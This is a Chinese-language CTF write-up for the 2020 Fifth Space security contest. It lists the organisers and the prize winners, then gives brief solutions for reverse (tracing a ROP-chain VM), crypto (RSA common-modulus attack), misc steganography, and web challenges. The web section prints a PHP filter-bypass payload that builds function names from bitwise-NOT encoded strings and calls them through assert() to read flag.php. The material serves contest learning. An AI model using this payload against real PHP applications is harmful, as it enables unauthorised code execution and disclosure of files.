2020 第五空间智能安全大赛 WriteUp
🏛️ 组织架构
指导单位:第四届世界智能大会组委会
主办单位:天津市委网信办
承办单位:360 集团、南开大学网络空间安全学院、天津大学网络安全学院、天津理工大学计算机科学与工程学院等
协办单位:国家工业信息安全发展研究中心、国家计算机网络与信息安全管理中心、国家计算机病毒应急处理中心、麒麟软件有限公司、天津飞腾信息技术有限公司等
决赛于 2020 年 9 月 11 日举行,最终 35 支队伍获奖。完整获奖名单如下:
| 奖项 | 获奖队伍 |
|---|---|
| 特等奖 | Ph0t1n1a (上海交通大学) |
| 一等奖 | Nu1L、blm、天枢 Dubhe、Redbud |
| 二等奖 | Venom、W&M、黄金熊与黄红黄熊与恰饭困难、Kap0k、M01N、锅包又、Lancet、BOI、宸极实验室、D0g33 |
| 三等奖 | Vidar-Team、GXY、Rosetta、天榕星、QF.team、DAWN、Mini-Venom、鱼香肉丝战队、secdriverlab、Lqers、天璇 Merak、这次是真的摸鱼、0xcSec、韭菜韭菜韭菜、FourNoobS、destiny、flybug、北极星、ha1cyon、四条单身狗 |
Reverse
rev(ROP VM)

IDA 反编译,核心是 sub_400D19 函数

1 | sub_400D19 proc near |
mov r12, rsp 把当前真实栈地址保存到 r12 里
lea rsp, data 它把 rsp 改成了 data 段的地址,正常情况下,rsp 指向系统栈,例如 rsp ---> 原来的栈
也就是说,程序不再从正常栈上取返回地址,而是准备从 data 区域里取返回地址
retn 本质上等价于 pop rip;jmp rip;,也就是从 [rsp] 取出 8 字节,把它当成返回地址跳过去执行 rsp += 8
所以流程变为
1 | main |
这就是典型的 ROP 链启动器,假设 data 长这样
1 | data: |
那么 retn 会先跳到 0x400abc,如果 0x400abc 处是一小段 gadget,比如:
1 | pop rax |
那么它执行完后又会继续从 data+8 取下一个地址,继续跳
1 | data[0] -> gadget1 |
查看 data 区域,data 里全是小 gadget 地址

但手动查看肯定是不行的,应该 GDB 动态 trace ROP 链真实执行流,新建脚本 vim trace_rop.py
1 | import gdb |
1 | pwndbg rev_v2 |
这样子就可以借助 AI 去恢复程序逻辑

这题的 ROP 链实现的是一个类似 AES MixColumns 的变换,AI 给出的解题脚本如下
1 | target = [ |
最后得到 flag:ctf{ropchain_is_g00d}
Crypto
rosb(共模攻击)

babasay(m) 使用同一个 n,对同一个 m 用两个不同的 e 加密,并输出
修改下板子改为十六进制格式
1 | def long_to_bytes(x: int) -> bytes: |
Misc
loop(签到)

循环套娃解压缩
1 | #!/usr/bin/env python3 |
1 | flag{9e24d838-8f7d-486b-ad55-03d345bb5029} |
run(文件附加隐写)

先 binwalk 查看有没有文件隐藏

分离出来后点击 run.exe 自动生成了一个 .tif

WinHex 里面看有提示在尾端

通过 PS 看到了隐藏代码

编写脚本拿到 flag
1 | a = 'njCp1HJBPLVTxcMhUHDPwE7mPW' |
Web
hate_php(取反绕过 + 动态调用)

网页源代码
1 |
|
利用 PHP 字符串按位取反 ~,例如
1 | 0x97 ^ 0xff = 0x68 |
assert() 接收到字符串时,会把字符串当 PHP 代码执行,构造 Payload
1 | ("highlight_file")("flag.php"); |
1 | (~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F)) |